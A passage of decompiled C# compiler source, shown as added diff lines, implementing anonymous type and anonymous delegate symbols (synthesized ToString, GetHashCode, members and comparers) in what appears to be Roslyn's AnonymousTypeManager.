anonymousTypeTemplateSymbol.Properties[i].BackingField), syntheticBoundNodeFactory); + } + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(boundExpression))); + } + + internal AnonymousTypeGetHashCodeMethodSymbol(NamedTypeSymbol container) + : base(container, "GetHashCode") + { + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + } + + private sealed class AnonymousTypeToStringMethodSymbol : SynthesizedMethodBase + { + internal override bool HasSpecialName => false; + + public override MethodKind MethodKind => (MethodKind)10; + + public override bool ReturnsVoid => false; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(base.Manager.System_String, NullableAnnotation.NotAnnotated); + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override bool IsOverride => true; + + internal override bool IsMetadataFinal => false; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + AnonymousTypeManager manager = ((AnonymousTypeTemplateSymbol)ContainingType).Manager; + SyntheticBoundNodeFactory syntheticBoundNodeFactory = CreateBoundNodeFactory(compilationState, diagnostics); + AnonymousTypeTemplateSymbol anonymousTypeTemplateSymbol = (AnonymousTypeTemplateSymbol)ContainingType; + int length = anonymousTypeTemplateSymbol.Properties.Length; + BoundExpression boundExpression = null; + if (length > 0) + { + BoundExpression[] array = new BoundExpression[length]; + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + for (int i = 0; i < length; i++) + { + AnonymousTypePropertySymbol anonymousTypePropertySymbol = anonymousTypeTemplateSymbol.Properties[i]; + instance.Builder.AppendFormat((i == 0) ? "{{{{ {0} = {{{1}}}" : ", {0} = {{{1}}}", anonymousTypePropertySymbol.Name, i); + array[i] = syntheticBoundNodeFactory.Convert(manager.System_Object, new BoundLoweredConditionalAccess(syntheticBoundNodeFactory.Syntax, syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), anonymousTypePropertySymbol.BackingField), null, syntheticBoundNodeFactory.Call(new BoundConditionalReceiver(syntheticBoundNodeFactory.Syntax, i, anonymousTypePropertySymbol.BackingField.Type), manager.System_Object__ToString), null, i, forceCopyOfNullableValueType: true, manager.System_String), Conversion.ImplicitReference); + } + instance.Builder.Append(" }}"); + BoundExpression boundExpression2 = syntheticBoundNodeFactory.Literal(instance.ToStringAndFree()); + MethodSymbol system_String__Format_IFormatProvider = manager.System_String__Format_IFormatProvider; + boundExpression = syntheticBoundNodeFactory.StaticCall(manager.System_String, system_String__Format_IFormatProvider, syntheticBoundNodeFactory.Null(system_String__Format_IFormatProvider.Parameters[0].Type), boundExpression2, syntheticBoundNodeFactory.ArrayOrEmpty(manager.System_Object, array)); + } + else + { + boundExpression = syntheticBoundNodeFactory.Literal("{ }"); + } + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(boundExpression))); + } + + internal AnonymousTypeToStringMethodSymbol(NamedTypeSymbol container) + : base(container, "ToString") + { + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + } + + private readonly struct SynthesizedDelegateKey : IEquatable + { + internal readonly string Name; + + internal readonly int ParameterCount; + + internal readonly AnonymousTypeDescriptor TypeDescriptor; + + public SynthesizedDelegateKey(int parameterCount, RefKindVector byRefs, bool returnsVoid, int generation) + { + Name = GeneratedNames.MakeSynthesizedDelegateName(byRefs, returnsVoid, generation); + ParameterCount = parameterCount; + TypeDescriptor = default(AnonymousTypeDescriptor); + } + + public SynthesizedDelegateKey(AnonymousTypeDescriptor typeDescr) + { + Name = null; + ParameterCount = -1; + TypeDescriptor = typeDescr; + } + + public override bool Equals(object obj) + { + if (obj is SynthesizedDelegateKey) + { + return Equals((SynthesizedDelegateKey)obj); + } + return false; + } + + public bool Equals(SynthesizedDelegateKey other) + { + if (!string.Equals(Name, other.Name)) + { + return false; + } + if (Name == null) + { + return TypeDescriptor.Equals(other.TypeDescriptor); + } + return ParameterCount == other.ParameterCount; + } + + public override int GetHashCode() + { + if (Name == null) + { + return TypeDescriptor.GetHashCode(); + } + return Hash.Combine(ParameterCount, Name.GetHashCode()); + } + } + + private class SynthesizedDelegateSymbolComparer : IComparer + { + public static readonly SynthesizedDelegateSymbolComparer Instance = new SynthesizedDelegateSymbolComparer(); + + public int Compare(AnonymousDelegateTemplateSymbol x, AnonymousDelegateTemplateSymbol y) + { + return x.MetadataName.CompareTo(y.MetadataName); + } + } + + private sealed class AnonymousTypeOrDelegateComparer : IComparer + { + private readonly CSharpCompilation _compilation; + + public AnonymousTypeOrDelegateComparer(CSharpCompilation compilation) + { + _compilation = compilation; + } + + public int Compare(AnonymousTypeOrDelegateTemplateSymbol x, AnonymousTypeOrDelegateTemplateSymbol y) + { + if ((object)x == y) + { + return 0; + } + int num = CompareLocations(x.SmallestLocation, y.SmallestLocation); + if (num == 0) + { + num = string.CompareOrdinal(x.TypeDescriptorKey, y.TypeDescriptorKey); + } + return num; + } + + private int CompareLocations(Location x, Location y) + { + if (x == y) + { + return 0; + } + if (x == Location.None) + { + return -1; + } + if (y == Location.None) + { + return 1; + } + return ((Compilation)_compilation).CompareSourceLocations(x, y); + } + } + + internal abstract class AnonymousTypeOrDelegatePublicSymbol : NamedTypeSymbol + { + internal readonly AnonymousTypeManager Manager; + + internal readonly AnonymousTypeDescriptor TypeDescriptor; + + internal sealed override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal sealed override bool IsInterpolatedStringHandlerType => false; + + public sealed override Symbol ContainingSymbol => Manager.Compilation.SourceModule.GlobalNamespace; + + public sealed override string Name => string.Empty; + + public sealed override string MetadataName => string.Empty; + + internal sealed override bool MangleName => false; + + internal sealed override bool IsFileLocal => false; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => null; + + public sealed override int Arity => 0; + + public abstract override bool IsImplicitlyDeclared { get; } + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal sealed override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => ImmutableArray.Empty; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsRefLikeType => false; + + public sealed override bool IsReadOnly => false; + + public sealed override bool IsSealed => true; + + public sealed override bool MightContainExtensionMethods => false; + + internal sealed override bool HasSpecialName => false; + + internal override bool HasDeclaredRequiredMembers => false; + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)4; + + internal abstract override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics { get; } + + public abstract override TypeKind TypeKind { get; } + + internal sealed override bool IsInterface => false; + + public sealed override ImmutableArray Locations => ImmutableArray.Create(TypeDescriptor.Location); + + public abstract override ImmutableArray DeclaringSyntaxReferences { get; } + + public sealed override bool IsStatic => false; + + public sealed override bool IsAnonymousType => true; + + public sealed override NamedTypeSymbol ConstructedFrom => this; + + internal sealed override bool ShouldAddWinRTMembers => false; + + internal sealed override bool IsWindowsRuntimeImport => false; + + internal sealed override bool IsComImport => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal sealed override TypeLayout Layout => default(TypeLayout); + + internal sealed override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + public sealed override bool IsSerializable => false; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/PublicSymbols/AnonymousManager.TypeOrDelegatePublicSymbol.cs", 233); + } + } + + internal sealed override bool HasDeclarativeSecurity => false; + + internal sealed override NamedTypeSymbol? NativeIntegerUnderlyingType => null; + + internal sealed override bool IsRecord => false; + + internal sealed override bool IsRecordStruct => false; + + internal AnonymousTypeOrDelegatePublicSymbol(AnonymousTypeManager manager, AnonymousTypeDescriptor typeDescr) + { + Manager = manager; + TypeDescriptor = typeDescr; + } + + internal abstract NamedTypeSymbol MapToImplementationSymbol(); + + internal abstract AnonymousTypeOrDelegatePublicSymbol SubstituteTypes(AbstractTypeMap typeMap); + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/PublicSymbols/AnonymousManager.TypeOrDelegatePublicSymbol.cs", 36); + } + + internal sealed override IEnumerable GetFieldsToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/PublicSymbols/AnonymousManager.TypeOrDelegatePublicSymbol.cs", 40); + } + + internal sealed override ImmutableArray GetEarlyAttributeDecodingMembers() + { + return GetMembersUnordered(); + } + + internal sealed override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + return GetMembers(name); + } + + public sealed override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public sealed override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + internal sealed override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal sealed override ImmutableArray GetInterfacesToEmit() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/PublicSymbols/AnonymousManager.TypeOrDelegatePublicSymbol.cs", 159); + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/PublicSymbols/AnonymousManager.TypeOrDelegatePublicSymbol.cs", 243); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal sealed override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return AttributeUsageInfo.Null; + } + + internal sealed override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return BaseTypeNoUseSiteDiagnostics; + } + + internal sealed override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal sealed override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AnonymousTypes/PublicSymbols/AnonymousManager.TypeOrDelegatePublicSymbol.cs", 266); + } + + internal abstract override bool Equals(TypeSymbol t2, TypeCompareKind comparison); + + public abstract override int GetHashCode(); + + internal sealed override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal sealed override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } + } + + internal sealed class AnonymousDelegatePublicSymbol : AnonymousTypeOrDelegatePublicSymbol + { + private ImmutableArray _lazyMembers; + + public override TypeKind TypeKind => (TypeKind)3; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => Manager.System_MulticastDelegate; + + public override IEnumerable MemberNames => ImmutableArrayExtensions.SelectAsArray(GetMembers(), (Func)((Symbol member) => member.Name)); + + public override bool IsImplicitlyDeclared => true; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal AnonymousDelegatePublicSymbol(AnonymousTypeManager manager, AnonymousTypeDescriptor typeDescr) + : base(manager, typeDescr) + { + } + + internal override NamedTypeSymbol MapToImplementationSymbol() + { + return Manager.ConstructAnonymousDelegateImplementationSymbol(this, 0); + } + + internal override AnonymousTypeOrDelegatePublicSymbol SubstituteTypes(AbstractTypeMap map) + { + bool changed; + AnonymousTypeDescriptor typeDescr = TypeDescriptor.SubstituteTypes(map, out changed); + if (!changed) + { + return this; + } + return new AnonymousDelegatePublicSymbol(Manager, typeDescr); + } + + public override ImmutableArray GetMembers() + { + if (_lazyMembers.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyMembers, CreateMembers()); + } + return _lazyMembers; + } + + private ImmutableArray CreateMembers() + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + SynthesizedDelegateConstructor item = new SynthesizedDelegateConstructor(this, Manager.System_Object, Manager.System_IntPtr); + ImmutableArray fields = TypeDescriptor.Fields; + int num = fields.Length - 1; + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + AnonymousTypeField anonymousTypeField = fields[i]; + instance.Add(new SynthesizedDelegateInvokeMethod.ParameterDescription(anonymousTypeField.TypeWithAnnotations, anonymousTypeField.RefKind, anonymousTypeField.Scope, anonymousTypeField.DefaultValue, anonymousTypeField.IsParams, anonymousTypeField.HasUnscopedRefAttribute)); + } + AnonymousTypeField anonymousTypeField2 = fields.Last(); + SynthesizedDelegateInvokeMethod item2 = new SynthesizedDelegateInvokeMethod(this, instance, anonymousTypeField2.TypeWithAnnotations, anonymousTypeField2.RefKind); + instance.Free(); + return ImmutableArray.Create((Symbol)item, (Symbol)item2); + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol member, string text) => member.Name == text), name); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (t2 is AnonymousDelegatePublicSymbol anonymousDelegatePublicSymbol) + { + return TypeDescriptor.Equals(anonymousDelegatePublicSymbol.TypeDescriptor, comparison); + } + return false; + } + + public override int GetHashCode() + { + return TypeDescriptor.GetHashCode(); + } + } + + internal sealed class AnonymousTypePublicSymbol : AnonymousTypeOrDelegatePublicSymbol + { + private readonly ImmutableArray _members; + + internal readonly ImmutableArray Properties; + + private readonly MultiDictionary _nameToSymbols = new MultiDictionary(); + + public override TypeKind TypeKind => (TypeKind)2; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => Manager.System_Object; + + public override IEnumerable MemberNames => _nameToSymbols.Keys; + + public override bool IsImplicitlyDeclared => false; + + public override ImmutableArray DeclaringSyntaxReferences => Symbol.GetDeclaringSyntaxReferenceHelper(Locations); + + internal AnonymousTypePublicSymbol(AnonymousTypeManager manager, AnonymousTypeDescriptor typeDescr) + : base(manager, typeDescr) + { + ImmutableArray fields = typeDescr.Fields; + ImmutableArray properties = ImmutableArrayExtensions.SelectAsArray(fields, (Func)((AnonymousTypeField field, int i, AnonymousTypePublicSymbol type) => new AnonymousTypePropertySymbol(type, field, i)), this); + ArrayBuilder instance = ArrayBuilder.GetInstance(fields.Length * 2 + 1); + ImmutableArray.Enumerator enumerator = properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnonymousTypePropertySymbol current = enumerator.Current; + instance.Add((Symbol)current); + instance.Add((Symbol)current.GetMethod); + } + Properties = properties; + instance.Add((Symbol)new AnonymousTypeConstructorSymbol(this, properties)); + _members = instance.ToImmutableAndFree(); + ImmutableArray.Enumerator enumerator2 = _members.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + _nameToSymbols.Add(current2.Name, current2); + } + } + + internal override NamedTypeSymbol MapToImplementationSymbol() + { + return Manager.ConstructAnonymousTypeImplementationSymbol(this); + } + + internal override AnonymousTypeOrDelegatePublicSymbol SubstituteTypes(AbstractTypeMap map) + { + ImmutableArray immutableArray = ImmutableArrayExtensions.SelectAsArray(TypeDescriptor.Fields, (Func)((AnonymousTypeField f) => f.TypeWithAnnotations)); + ImmutableArray immutableArray2 = map.SubstituteTypes(immutableArray); + if (!(immutableArray == immutableArray2)) + { + return new AnonymousTypePublicSymbol(Manager, TypeDescriptor.WithNewFieldsTypes(immutableArray2)); + } + return this; + } + + public override ImmutableArray GetMembers() + { + return _members; + } + + public override ImmutableArray GetMembers(string name) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + ValueSet val = _nameToSymbols[name]; + ArrayBuilder instance = ArrayBuilder.GetInstance(val.Count); + Enumerator enumerator = val.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + instance.Add(current); + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + return instance.ToImmutableAndFree(); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == t2) + { + return true; + } + if (t2 is AnonymousTypePublicSymbol anonymousTypePublicSymbol) + { + return TypeDescriptor.Equals(anonymousTypePublicSymbol.TypeDescriptor, comparison); + } + return false; + } + + public override int GetHashCode() + { + return TypeDescriptor.GetHashCode(); + } + } + + internal sealed class AnonymousDelegateTemplateSymbol : AnonymousTypeOrDelegateTemplateSymbol + { + private readonly ImmutableArray _members; + + internal readonly bool HasIndexedName; + + internal override string TypeDescriptorKey + { + get + { + throw new NotImplementedException(); + } + } + + public override TypeKind TypeKind => (TypeKind)3; + + public override IEnumerable MemberNames => ImmutableArrayExtensions.SelectAsArray(GetMembers(), (Func)((Symbol member) => member.Name)); + + internal override bool HasDeclaredRequiredMembers => false; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => Manager.System_MulticastDelegate; + + public override ImmutableArray TypeParameters { get; } + + internal AnonymousDelegateTemplateSymbol(AnonymousTypeManager manager, string name, TypeSymbol objectType, TypeSymbol intPtrType, TypeSymbol? voidReturnTypeOpt, int parameterCount, RefKindVector refKinds) + : base(manager, Location.None) + { + HasIndexedName = false; + TypeParameters = CreateTypeParameters(this, parameterCount, (object)voidReturnTypeOpt != null); + base.NameAndIndex = new NameAndIndex(name, 0); + SynthesizedDelegateConstructor item = new SynthesizedDelegateConstructor(this, objectType, intPtrType); + SynthesizedDelegateInvokeMethod item2 = createInvokeMethod(this, refKinds, voidReturnTypeOpt); + _members = ImmutableArray.Create((Symbol)item, (Symbol)item2); + static SynthesizedDelegateInvokeMethod createInvokeMethod(AnonymousDelegateTemplateSymbol containingType, RefKindVector refKindVector, TypeSymbol? typeSymbol) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray typeParameters = containingType.TypeParameters; + int num = typeParameters.Length - (((object)typeSymbol == null) ? 1 : 0); + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + instance.Add(new SynthesizedDelegateInvokeMethod.ParameterDescription(TypeWithAnnotations.Create(typeParameters[i]), (RefKind)((!refKindVector.IsNull) ? ((int)refKindVector[i]) : 0), (ScopedKind)0, null, isParams: false, hasUnscopedRefAttribute: false)); + } + TypeWithAnnotations returnType = TypeWithAnnotations.Create(typeSymbol ?? typeParameters[num]); + RefKind refKind = (RefKind)((!refKindVector.IsNull && (object)typeSymbol == null) ? ((int)refKindVector[num]) : 0); + SynthesizedDelegateInvokeMethod result = new SynthesizedDelegateInvokeMethod(containingType, instance, returnType, refKind); + instance.Free(); + return result; + } + } + + private static ImmutableArray CreateTypeParameters(AnonymousDelegateTemplateSymbol containingType, int parameterCount, bool returnsVoid) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterCount + ((!returnsVoid) ? 1 : 0)); + for (int i = 0; i < parameterCount; i++) + { + instance.Add((TypeParameterSymbol)new AnonymousTypeParameterSymbol(containingType, i, "T" + (i + 1))); + } + if (!returnsVoid) + { + instance.Add((TypeParameterSymbol)new AnonymousTypeParameterSymbol(containingType, parameterCount, "TResult")); + } + return instance.ToImmutableAndFree(); + } + + internal AnonymousDelegateTemplateSymbol(AnonymousTypeManager manager, AnonymousTypeDescriptor typeDescr) + : base(manager, typeDescr.Location) + { + HasIndexedName = true; + int parameterCount = typeDescr.Fields.Length - 1; + ImmutableArray fields = typeDescr.Fields; + TypeParameters = CreateTypeParameters(this, parameterCount, fields[fields.Length - 1].Type.IsVoidType()); + SynthesizedDelegateConstructor item = new SynthesizedDelegateConstructor(this, manager.System_Object, manager.System_IntPtr); + SynthesizedDelegateInvokeMethod item2 = createInvokeMethod(this, typeDescr.Fields); + _members = ImmutableArray.Create((Symbol)item, (Symbol)item2); + static SynthesizedDelegateInvokeMethod createInvokeMethod(AnonymousDelegateTemplateSymbol containingType, ImmutableArray immutableArray) + { + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray typeParameters = containingType.TypeParameters; + AnonymousTypeField anonymousTypeField = immutableArray[immutableArray.Length - 1]; + bool flag = anonymousTypeField.Type.IsVoidType(); + int num = immutableArray.Length - 1; + ArrayBuilder instance = ArrayBuilder.GetInstance(num); + for (int i = 0; i < num; i++) + { + AnonymousTypeField anonymousTypeField2 = immutableArray[i]; + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations.Create(typeParameters[i]); + if (anonymousTypeField2.IsParams) + { + typeWithAnnotations = TypeWithAnnotations.Create(ArrayTypeSymbol.CreateSZArray(containingType.ContainingAssembly, typeWithAnnotations)); + } + instance.Add(new SynthesizedDelegateInvokeMethod.ParameterDescription(typeWithAnnotations, anonymousTypeField2.RefKind, anonymousTypeField2.Scope, anonymousTypeField2.DefaultValue, anonymousTypeField2.IsParams, anonymousTypeField2.HasUnscopedRefAttribute)); + } + TypeWithAnnotations returnType = TypeWithAnnotations.Create(flag ? anonymousTypeField.Type : typeParameters[num]); + RefKind refKind = anonymousTypeField.RefKind; + SynthesizedDelegateInvokeMethod result = new SynthesizedDelegateInvokeMethod(containingType, instance, returnType, refKind); + instance.Free(); + return result; + } + } + + internal AnonymousDelegateTemplateSymbol(AnonymousTypeManager manager, AnonymousTypeDescriptor typeDescr, ImmutableArray typeParametersToSubstitute) + : base(manager, typeDescr.Location) + { + HasIndexedName = true; + int length = typeParametersToSubstitute.Length; + TypeMap typeMap; + if (length == 0) + { + TypeParameters = ImmutableArray.Empty; + typeMap = TypeMap.Empty; + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + instance.Add((TypeParameterSymbol)new AnonymousTypeParameterSymbol(this, i, "T" + (i + 1))); + } + TypeParameters = instance.ToImmutableAndFree(); + typeMap = new TypeMap(typeParametersToSubstitute, TypeParameters, allowAlpha: true); + } + SynthesizedDelegateConstructor item = new SynthesizedDelegateConstructor(this, manager.System_Object, manager.System_IntPtr); + SynthesizedDelegateInvokeMethod item2 = createInvokeMethod(this, typeDescr.Fields, typeMap); + _members = ImmutableArray.Create((Symbol)item, (Symbol)item2); + static SynthesizedDelegateInvokeMethod createInvokeMethod(AnonymousDelegateTemplateSymbol containingType, ImmutableArray fields, TypeMap typeMap2) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + int num = fields.Length - 1; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(num); + for (int j = 0; j < num; j++) + { + AnonymousTypeField anonymousTypeField = fields[j]; + instance2.Add(new SynthesizedDelegateInvokeMethod.ParameterDescription(typeMap2.SubstituteType(anonymousTypeField.Type), anonymousTypeField.RefKind, anonymousTypeField.Scope, anonymousTypeField.DefaultValue, anonymousTypeField.IsParams, anonymousTypeField.HasUnscopedRefAttribute)); + } + AnonymousTypeField anonymousTypeField2 = fields[fields.Length - 1]; + TypeWithAnnotations returnType = typeMap2.SubstituteType(anonymousTypeField2.Type); + RefKind refKind = anonymousTypeField2.RefKind; + SynthesizedDelegateInvokeMethod result = new SynthesizedDelegateInvokeMethod(containingType, instance2, returnType, refKind); + instance2.Free(); + return result; + } + } + + public override ImmutableArray GetMembers() + { + return _members; + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol member, string text) => member.Name == text), name); + } + + internal override IEnumerable GetFieldsToEmit() + { + return SpecializedCollections.EmptyEnumerable(); + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = ContainingSymbol.DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + } + + private sealed class AnonymousTypeFieldSymbol : FieldSymbol + { + private readonly PropertySymbol _property; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override string Name => GeneratedNames.MakeAnonymousTypeBackingFieldName(_property.Name); + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override bool HasSpecialName => false; + + internal override bool HasRuntimeSpecialName => false; + + internal override bool IsNotSerialized => false; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => null; + + internal override int? TypeLayoutOffset => null; + + public override Symbol AssociatedSymbol => _property; + + public override bool IsReadOnly => true; + + public override bool IsVolatile => false; + + public override bool IsConst => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public override Symbol ContainingSymbol => _property.ContainingType; + + public override NamedTypeSymbol ContainingType => _property.ContainingType; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override bool IsStatic => false; + + public override bool IsImplicitlyDeclared => true; + + internal override bool IsRequired => false; + + public AnonymousTypeFieldSymbol(PropertySymbol property) + { + _property = property; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return _property.TypeWithAnnotations; + } + + internal override ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes) + { + return null; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + AnonymousTypeManager manager = ((AnonymousTypeTemplateSymbol)ContainingSymbol).Manager; + Symbol.AddSynthesizedAttribute(ref attributes, manager.Compilation.TrySynthesizeAttribute((WellKnownMember)71, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)manager.System_Diagnostics_DebuggerBrowsableState, (TypedConstantKind)2, (object)DebuggerBrowsableState.Never)))); + } + } + + internal sealed class AnonymousTypePropertySymbol : PropertySymbol + { + private readonly NamedTypeSymbol _containingType; + + private readonly TypeWithAnnotations _typeWithAnnotations; + + private readonly string _name; + + private readonly int _index; + + private readonly ImmutableArray _locations; + + private readonly AnonymousTypePropertyGetAccessorSymbol _getMethod; + + private readonly FieldSymbol _backingField; + + internal override int? MemberIndexOpt => _index; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations TypeWithAnnotations => _typeWithAnnotations; + + public override string Name => _name; + + internal override bool HasSpecialName => false; + + public override bool IsImplicitlyDeclared => false; + + public override ImmutableArray Locations => _locations; + + public override ImmutableArray DeclaringSyntaxReferences => Symbol.GetDeclaringSyntaxReferenceHelper(Locations); + + public override bool IsStatic => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsIndexer => false; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + internal override bool IsRequired => false; + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => null; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override MethodSymbol SetMethod => null; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override CallingConvention CallingConvention => (CallingConvention)32; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override Accessibility DeclaredAccessibility => (Accessibility)6; + + internal override bool MustCallMethodsDirectly => false; + + public override bool IsExtern => false; + + public override MethodSymbol GetMethod => _getMethod; + + public FieldSymbol BackingField => _backingField; + + internal AnonymousTypePropertySymbol(AnonymousTypeTemplateSymbol container, AnonymousTypeField field, TypeWithAnnotations fieldTypeWithAnnotations, int index) + : this(container, field, fieldTypeWithAnnotations, index, ImmutableArray.Empty, includeBackingField: true) + { + } + + internal AnonymousTypePropertySymbol(AnonymousTypePublicSymbol container, AnonymousTypeField field, int index) + : this(container, field, field.TypeWithAnnotations, index, ImmutableArray.Create(field.Location), includeBackingField: false) + { + } + + private AnonymousTypePropertySymbol(NamedTypeSymbol container, AnonymousTypeField field, TypeWithAnnotations fieldTypeWithAnnotations, int index, ImmutableArray locations, bool 